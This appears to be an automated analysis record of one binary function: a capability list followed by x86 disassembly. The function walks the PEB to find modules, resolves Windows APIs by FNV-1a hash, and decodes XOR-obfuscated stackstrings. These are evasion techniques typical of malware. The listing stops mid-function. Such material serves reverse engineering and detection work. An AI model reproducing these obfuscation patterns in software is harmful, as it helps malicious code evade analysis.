Function at 0xcae880
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x9e3052
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x630
push ebx
push esi
push edi
mov dword [ebp - 0x30], 0
push dword [0xa1dbcc]
call fcn.00d2d4ec
add esp, 4
mov ecx, 0xa1dbbc
call fcn.00c36e70
mov edi, eax
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0xcae8c5
mov ecx, 0xa1dbbc
sub edi, eax
call fcn.00c36e70
mov esi, eax
lea eax, [ebp - 0x1f8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1f8]
push edi
push esi
call fcn.00c36f00
mov dword [ebp - 4], 2
mov ecx, 0xa1dbbc
call fcn.00c36c70
lea eax, [ebp - 0x1f8]
mov ecx, 0xa1dbbc
push eax
call fcn.00c36e40
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x1f8]
call fcn.00c36c70
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcae9c4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcae9c4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcae9bd
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcae9a0
cmp esi, 0x6dd8a845
je 0xcae9c8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcae985
mov eax, dword [eax]
jmp 0xcae955
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov ebx, dword [ecx + 0x18]
mov dword [ebp - 0x20], ebx
mov edx, dword [ebx + 0x3c]
mov esi, dword [edx + ebx + 0x78]
mov eax, dword [edx + ebx + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [ebx + esi]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0xcaea64
mov edi, dword [eax + 0x18]
test edi, edi
je 0xcaea64
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
mov eax, dword [ecx + 0x18]
add ebx, eax
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0xcaea5d
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0xcaea40
cmp esi, 0x60993b9d
je 0xcaea68
mov eax, dword [ecx + 0x18]
test edi, edi
jne 0xcaea26
mov ecx, dword [ecx]
jmp 0xcae9f3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x8000
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x933470
call dword [0x9e7124]
mov edi, dword [0xa1db44]
mov esi, dword [0xa1db40]
push 0
push 2
push edi
push esi
call fcn.00d4ce70
mov ebx, dword [0xa1db48]
sub ebx, eax
mov eax, dword [0xa1db4c]
mov ecx, ebx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x10], eax
xor eax, edi
or ecx, eax
je 0xcaeada
add esi, ebx
mov dword [0xa1db40], esi
adc edi, dword [ebp - 0x10]
mov dword [0xa1db44], edi
test edi, edi
jl 0xcaeaff
jg 0xcaeae8
cmp esi, 0x186a0
jbe 0xcaeaff
xorps xmm0, xmm0
movlpd qword [0xa1db40], xmm0
mov edi, dword [0xa1db44]
mov esi, dword [0xa1db40]
push 0
push 2
push edi
push esi
call fcn.00d4ce70
sub ebx, eax
mov eax, dword [ebp - 0x10]
mov ecx, ebx
mov dword [0xa1db48], ebx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x10], eax
mov dword [0xa1db4c], eax
xor eax, edi
or ecx, eax
je 0xcaeb3a
add esi, ebx
mov dword [0xa1db40], esi
adc edi, dword [ebp - 0x10]
mov dword [0xa1db44], edi
test edi, edi
jl 0xcaeb53
jg 0xcaeb48
cmp esi, 0x186a0
jbe 0xcaeb53
xorps xmm0, xmm0
movlpd qword [0xa1db40], xmm0
push 0
call fcn.00d358bb
push eax
call fcn.00d2d4ec
add esp, 8
call fcn.00c3d160
mov eax, dword [0xa1db40]
mov esi, 0xf
xor dword [0xa1db48], eax
mov eax, dword [0xa1db44]
xor dword [0xa1db4c], eax
xor edx, edx
mov byte [ebp - 0x6b], 0x84
mov byte [ebp - 0x6a], 0x83
mov byte [ebp - 0x69], 0x88
mov byte [ebp - 0x68], 0x6c
mov byte [ebp - 0x67], 9
mov al, byte [ebp - 0x6b]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x6b]
mov ecx, edx
and ecx, esi
mov eax, 0x869892fd
cmp ecx, esi
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x6b], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0xcaeba0
push 0
lea eax, [ebp - 0x6b]
mov ecx, 0xa1dc04
push eax
call fcn.00cb5550
test eax, eax
jne 0xcaeca6
call fcn.00c4e540
test al, al
je 0xcaeca1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcaec79
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcaec79
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcaec72
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcaec55
cmp esi, 0xe80fd3a
je 0xcaec7d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcaec40
mov eax, dword [eax]
jmp 0xcaec10
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, 0xf
jmp 0xcaeca6
call fcn.00c4e700
call fcn.00c3d160
mov eax, dword [0xa1db40]
xor dword [0xa1db48], eax
mov eax, dword [0xa1db44]
xor dword [0xa1db4c], eax
xor edx, edx
mov byte [ebp - 0x70], 0x84
mov byte [ebp - 0x6f], 0x83
mov byte [ebp - 0x6e], 0x88
mov byte [ebp - 0x6d], 0x6c
mov byte [ebp - 0x6c], 9
mov al, byte [ebp - 0x70]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x70]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x70], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0xcaece0
push 0
lea eax, [ebp - 0x70]
mov ecx, 0xa1dba4
push eax
call fcn.00cb5550
test eax, eax
jne 0xcaedff
call fcn.00c4e740
mov bl, al
call fcn.00c4e820
mov bh, al
call fcn.00c4ecc0
test bl, bl
jne 0xcaed5e
test bh, bh
jne 0xcaed5e
test al, al
jne 0xcaed5e
call fcn.00c4e580
test al, al
je 0xcaedff
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcaedd9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcaedd9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcaedd2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcaedb5
cmp esi, 0xe80fd3a
je 0xcaeddd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcaeda0
mov eax, dword [eax]
jmp 0xcaed70
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, 0xf
mov byte [ebp - 0x75], 0x84
xor edx, edx
mov byte [ebp - 0x74], 0x83
mov byte [ebp - 0x73], 0x88
mov byte [ebp - 0x72], 0x6c
mov byte [ebp - 0x71], 9
mov al, byte [ebp - 0x75]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x75]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x75], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0xcaee20
push 0
lea eax, [ebp - 0x75]
mov ecx, 0xa1dcac
push eax
call fcn.00cb5550
test eax, eax
jne 0xcaee76
lea ecx, [eax + 1]
call fcn.00c4ef60
mov byte [ebp - 0x66], 0x84
xor edx, edx
mov byte [ebp - 0x65], 0x83
mov byte [ebp - 0x64], 0x88
mov byte [ebp - 0x63], 0x6c
mov byte [ebp - 0x62], 9
mov al, byte [ebp - 0x66]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x66]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x66], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0xcaee92
push 0
lea eax, [ebp - 0x66]
mov ecx, 0xa1dc94
push eax
call fcn.00cb5550
test eax, eax
jne 0xcaeee5
call fcn.00c53290
mov byte [ebp - 0x7a], 0x84
xor edx, edx
mov byte [ebp - 0x79], 0x83
mov byte [ebp - 0x78], 0x88
mov byte [ebp - 0x77], 0x6c
mov byte [ebp - 0x76], 9
mov al, byte [ebp - 0x7a]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x7a]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x7a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0xcaef01
push 0
lea eax, [ebp - 0x7a]
mov ecx, 0xa1dc34
push eax
call fcn.00cb5550
mov esi, dword [0xa1db44]
test eax, eax
mov edi, dword [0xa1db40]
push 0
push 2
push esi
push edi
sete byte [ebp - 0x29]
call fcn.00d4ce70
mov ebx, dword [0xa1db48]
sub ebx, eax
mov eax, dword [0xa1db4c]
mov ecx, ebx
mov dword [0xa1db48], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov dword [0xa1db4c], eax
xor eax, esi
or ecx, eax
je 0xcaefa0
add edi, ebx
mov dword [0xa1db40], edi
adc esi, dword [ebp - 0x14]
mov dword [0xa1db44], esi
test esi, esi
jl 0xcaefb9
jg 0xcaefae
cmp edi, 0x186a0
jbe 0xcaefb9
xorps xmm0, xmm0
movlpd qword [0xa1db40], xmm0
mov byte [ebp - 0x124], 0xf7
xor edx, edx
mov byte [ebp - 0x123], 0xf1
mov esi, 0xf
mov byte [ebp - 0x122], 0xf4
mov byte [ebp - 0x121], 0xf7
mov byte [ebp - 0x120], 0xea
mov byte [ebp - 0x11f], 0xe6
mov byte [ebp - 0x11e], 0xed
mov byte [ebp - 0x11d], 0xb0
mov byte [ebp - 0x11c], 0xf9
mov byte [ebp - 0x11b], 0xf5
mov byte [ebp - 0x11a], 0xfa
mov byte [ebp - 0x119], 0x9a
mov al, byte [ebp - 0x124]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x124]
mov ecx, edx
and ecx, esi
mov eax, 0x886ddb8f
cmp ecx, esi
mov edx, 0x7d980f1a
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x124], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0xcaf020
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcaf0d9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcaf0d9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcaf0d2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcaf0b5
cmp esi, 0x53b2070f
je 0xcaf0dd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcaf0a0
mov eax, dword [eax]
jmp 0xcaf070
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x124]
add eax, edx
push ecx
call eax
test eax, eax
jne 0xcaf116
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov byte [ebp - 0x130], 0xd7
xor edx, edx
mov byte [ebp - 0x12f], 0xd1
mov edi, 0xf
mov byte [ebp - 0x12e], 0xd4
mov byte [ebp - 0x12d], 0xd6
mov byte [ebp - 0x12c], 0xd0
mov byte [ebp - 0x12b], 0xd7
mov byte [ebp - 0x12a], 0xc9
mov byte [ebp - 0x129], 0xb0
mov byte [ebp - 0x128], 0xd9
mov byte [ebp - 0x127], 0xd5
mov byte [ebp - 0x126], 0xda
mov byte [ebp - 0x125], 0x9a
mov al, byte [ebp - 0x130]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x130]
mov ecx, edx
and ecx, edi
mov eax, 0x886ddb8f
cmp ecx, edi
mov edx, 0x7d980f1a
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x130], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0xcaf180
lea eax, [ebp - 0x130]
push eax
call dword [0x9e709c]
mov ecx, eax
call fcn.00cd36c0
call fcn.00d12520
push 0
push 0
push 0
push 0x8dfc00
push 0
push 0
call dword [0x9e70b4]
push eax
call dword [0x9e70ac]
cmp dword [0xa1db3c], 0xffffffff
jne 0xcaf2ac
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcaf279
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcaf279
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcaf272
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcaf255
cmp esi, 0x2fa62ca8
je 0xcaf27d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcaf240
mov eax, dword [eax]
jmp 0xcaf210
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0xa1db3c], 0xffffffff
je 0xcaf200
mov edi, 0xf
mov ecx, 0x104
lea eax, [ebp - 0x63c]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0xcaf2b7
lea eax, [ebp - 0x63c]
push eax
push 0xfc
call dword [0x9e7070]
call fcn.00c3d160
mov eax, dword [0xa1db40]
lea ecx, [ebp - 0x288]
xor dword [0xa1db48], eax
mov edx, 0xd
mov eax, dword [0xa1db44]
xor dword [0xa1db4c], eax
call fcn.00c40db0
mov dword [ebp - 4], 6
xor edx, edx
mov byte [ebp - 0xab], 0x37
mov byte [ebp - 0xaa], 0x29
mov byte [ebp - 0xa9], 0x3b
mov byte [ebp - 0xa8], 0xb
mov byte [ebp - 0xa7], 0
mov byte [ebp - 0xa6], 0x35
mov byte [ebp - 0xa5], 0x23
mov byte [ebp - 0xa4], 0x24
mov byte [ebp - 0xa3], 0x6c
mov al, byte [ebp - 0xab]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xab]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xab], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0xcaf350
lea eax, [ebp - 0x210]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xab]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcaf3b0
sub ecx, edx
lea eax, [ebp - 0xab]
push ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.00c36f00
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x63c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcaf3e0
sub ecx, edx
lea eax, [ebp - 0x63c]
push ecx
push eax
push 0
lea ecx, [ebp - 0x210]
call fcn.00cbf150
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00c36b00
mov dword [ebp - 0x30], 1
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00cb58f0
push eax
lea ecx, [ebp - 0x2c0]
call fcn.00c36b00
mov ecx, 0xa1db8c
mov dword [ebp - 0x30], 3
call fcn.00c36c70
lea eax, [ebp - 0x2c0]
mov ecx, 0xa1db8c
push eax
call fcn.00c36e40
mov esi, 3
mov dword [ebp - 0x30], esi
and esi, 0xfffffffd
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2c0]
call fcn.00c36c70
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0xa
and esi, 0xfffffffe
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x2d8]
call fcn.00c36c70
mov byte [ebp - 4], 9
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x210]
call fcn.00c36c70
mov byte [ebp - 4], 6
lea eax, [ebp - 0x210]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 6
xor edx, edx
mov byte [ebp - 0xce], 0x70
mov byte [ebp - 0xcd], 0x67
mov byte [ebp - 0xcc], 0x7e
mov byte [ebp - 0xcb], 0x7f
mov byte [ebp - 0xca], 0x63
mov byte [ebp - 0xc9], 0x7f
mov byte [ebp - 0xc8], 0x41
mov byte [ebp - 0xc7], 0x60
mov byte [ebp - 0xc6], 0x7d
mov byte [ebp - 0xc5], 0x1d
mov al, byte [ebp - 0xce]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xce]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1e1d1407
cmp ecx, 0xf
mov edx, 0x43f150da
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 7]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xce], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xa
jb 0xcaf520
lea eax, [ebp - 0x228]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xce]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcaf580
sub ecx, edx
lea eax, [ebp - 0xce]
push ecx
push eax
lea ecx, [ebp - 0x228]
call fcn.00c36f00
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x63c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcaf5b0
sub ecx, edx
lea eax, [ebp - 0x63c]
push ecx
push eax
push 0
lea ecx, [ebp - 0x228]
call fcn.00cbf150
push eax
lea ecx, [ebp - 0x2f0]
call fcn.00c36b00
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x288]
or esi, 4
lea edx, [ebp - 0x2f0]
push eax
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x30], esi
call fcn.00cba180
add esp, 4
mov byte [ebp - 4], 0x19
and esi, 0xfffffffb
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x2f0]
call fcn.00c36c70
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x228]
call fcn.00c36c70
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x228]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
mov ecx, 0xa1db8c
call fcn.00c36e70
mov ecx, eax
call fcn.00c40710
test al, al
je 0xcaf66a
push 0
mov dl, 1
mov ecx, 0xa1db8c
call fcn.00c40760
add esp, 4
lea ecx, [ebp - 0x1c8]
call fcn.00c36e70
mov ecx, eax
call fcn.00c40710
test al, al
je 0xcaf692
push 0
mov dl, 1
lea ecx, [ebp - 0x1c8]
call fcn.00c40760
add esp, 4
push 0
mov ecx, 0xa1db8c
call fcn.00c36e70
mov esi, dword [0x9e7100]
push eax
call esi
mov edi, dword [0x9e706c]
test eax, eax
jne 0xcaf6c3
mov ecx, 0xa1db8c
call fcn.00c50e70
test al, al
je 0xcb20f8
push 0
lea ecx, [ebp - 0x1c8]
call fcn.00c36e70
push eax
call esi
test eax, eax
jne 0xcaf74c
mov esi, dword [0xa1db44]
mov edi, dword [0xa1db40]
push eax
push 2
push esi
push edi
call fcn.00d4ce70
mov ebx, dword [0xa1db48]
sub ebx, eax
mov eax, dword [0xa1db4c]
mov ecx, ebx
mov dword [0xa1db48], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [0xa1db4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0xcaf728
add edi, ebx
mov dword [0xa1db40], edi
adc esi, edx
mov dword [0xa1db44], esi
test esi, esi
jl 0xcaf741
jg 0xcaf736
cmp edi, 0x186a0
jbe 0xcaf741
xorps xmm0, xmm0
movlpd qword [0xa1db40], xmm0
lea ecx, [ebp - 0x1c8]
call fcn.00c50e70
lea ecx, [ebp - 0x1c8]
call fcn.00c36e70
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov ebx, dword [ecx + 0x18]
mov dword [ebp - 0x20], ebx
mov edx, dword [ebx + 0x3c]
mov esi, dword [edx + ebx + 0x78]
mov eax, dword [edx + ebx + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [esi + ebx]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0xcaf7d9
mov edi, dword [eax + 0x18]
test edi, edi
je 0xcaf7d9
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
mov eax, dword [ecx + 0x18]
add ebx, eax
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0xcaf7d2
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0xcaf7b5
cmp esi, 0x7a5b9fa2
je 0xcaf7dd
mov eax, dword [ecx + 0x18]
test edi, edi
jne 0xcaf7a0
mov ecx, dword [ecx]
jmp 0xcaf767
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x1c8]
mov ecx, 0xa1dc1c
push eax
call fcn.00cb5910
call fcn.00c51130
test al, al
je 0xcafa49
cmp byte [ebp - 0x29], 0
jne 0xcafa49
mov byte [ebp - 0xd7], 0x23
xor edx, edx
mov byte [ebp - 0xd6], 0x2b
mov esi, 0xf
mov byte [ebp - 0xd5], 0x3b
mov byte [ebp - 0xd4], 0x17
mov byte [ebp - 0xd3], 0xf
mov byte [ebp - 0xd2], 0xd
mov byte [ebp - 0xd1], 5
mov byte [ebp - 0xd0], 1
mov byte [ebp - 0xcf], 0x6c
mov al, byte [ebp - 0xd7]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xd7]
mov ecx, edx
and ecx, esi
mov eax, 0x1925555d
cmp ecx, esi
